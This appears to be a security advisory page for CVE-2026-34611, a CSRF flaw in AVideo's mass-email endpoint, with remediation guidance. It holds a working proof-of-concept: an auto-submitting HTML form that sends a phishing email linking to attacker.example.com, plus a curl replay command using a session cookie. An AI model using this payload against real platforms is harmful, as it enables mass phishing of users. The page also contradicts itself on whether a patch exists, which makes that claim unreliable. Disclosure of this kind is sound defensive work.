CVE-2026-34611: AVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users

Published Mar 31, 2026
·
Updated

Summary

The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.

The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.

Details

The endpoint performs an admin check at line 10 but has no CSRF token validation:

php // objects/emailAllUsers.json.php:10 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }

The message body is taken directly from POST data at line 41:

php // objects/emailAllUsers.json.php:41 $obj->message = $POST['message'];

The message is rendered as HTML in the email at line 48:

php // objects/emailAllUsers.json.php:48 $mail->msgHTML($obj->message);

When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.

The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.

Proof of Concept

Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:

html <!DOCTYPE html> <html> <head><title>AVI-038 PoC - CSRF Mass Email</title></head> <body> <h1>Please wait...</h1> <form id="massmail" method="POST" action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">

<input type="hidden" name="subject" value="Important: Verify Your Account" />

<textarea name="message" style="display:none"> <h2>Account Verification Required</h2> <p>Your account requires re-verification due to a recent security update.</p> <p>Please <a href="https://attacker.example.com/phish">click here to verify</a> within 24 hours to avoid account suspension.</p> <p>Thank you,<br/>The Platform Team</p> </textarea>

<!-- Omitting 'email' parameter causes it to send to ALL users --> </form>

<script>document.getElementById('massmail').submit();</script> </body> </html>

Verification steps:

1. Set up a test AVideo instance with at least two registered user accounts. 2. Log in as an admin in one browser tab. 3. Open the attacker HTML page in another tab in the same browser. 4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.

Alternatively, test with curl using an admin session cookie:

bash curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \ -d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"

Impact

An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:

- Mass phishing campaigns targeting all platform users with highly credible emails - Credential harvesting by directing users to attacker-controlled login pages - Malware distribution via HTML email payloads - Reputation damage to the platform operator

The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.

- CWE-352: Cross-Site Request Forgery

Recommended Fix

Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:

php // objects/emailAllUsers.json.php:13 if (!isGlobalTokenValid()) { forbiddenPage('Invalid CSRF token'); exit; }

--- Found by aisafe.io

Other sources

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address. At time of publication, there are no publicly available patches.

MITRE

Affected Software

3 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    In objects/emailAllUsers.json.php, add CSRF token validation at line 13 immediately after the existing admin check at line 10 (i.e., before accepting POST data like message and sending HTML to users).

    AVideo endpoint objects/emailAllUsers.json.php CSRF token validation = Enable/Require CSRF token validation after the admin check

Event History

Mar 31, 2026
CVE Published
via MITRE·08:42 PM
Data Sourced
via MITRE·08:42 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Apr 1, 2026
Advisory Published
via GitHub·08:48 PM
Data Sourced
via GitHub·08:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34611?

CVE-2026-34611 is classified as a critical vulnerability due to its potential for mass phishing attacks.

2

How do I fix CVE-2026-34611?

To fix CVE-2026-34611, upgrade AVideo to version 26.1 or later, which includes the necessary security patches.

3

What type of attack is possible with CVE-2026-34611?

CVE-2026-34611 allows for CSRF attacks that could lead to unauthorized mass emailing to all registered users.

4

Who is affected by CVE-2026-34611?

Versions of WWBN AVideo up to and including 26.0 are affected by CVE-2026-34611.

5

Is user data compromised in CVE-2026-34611?

While CVE-2026-34611 does not directly compromise user data, it does allow for phishing attempts targeting users.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203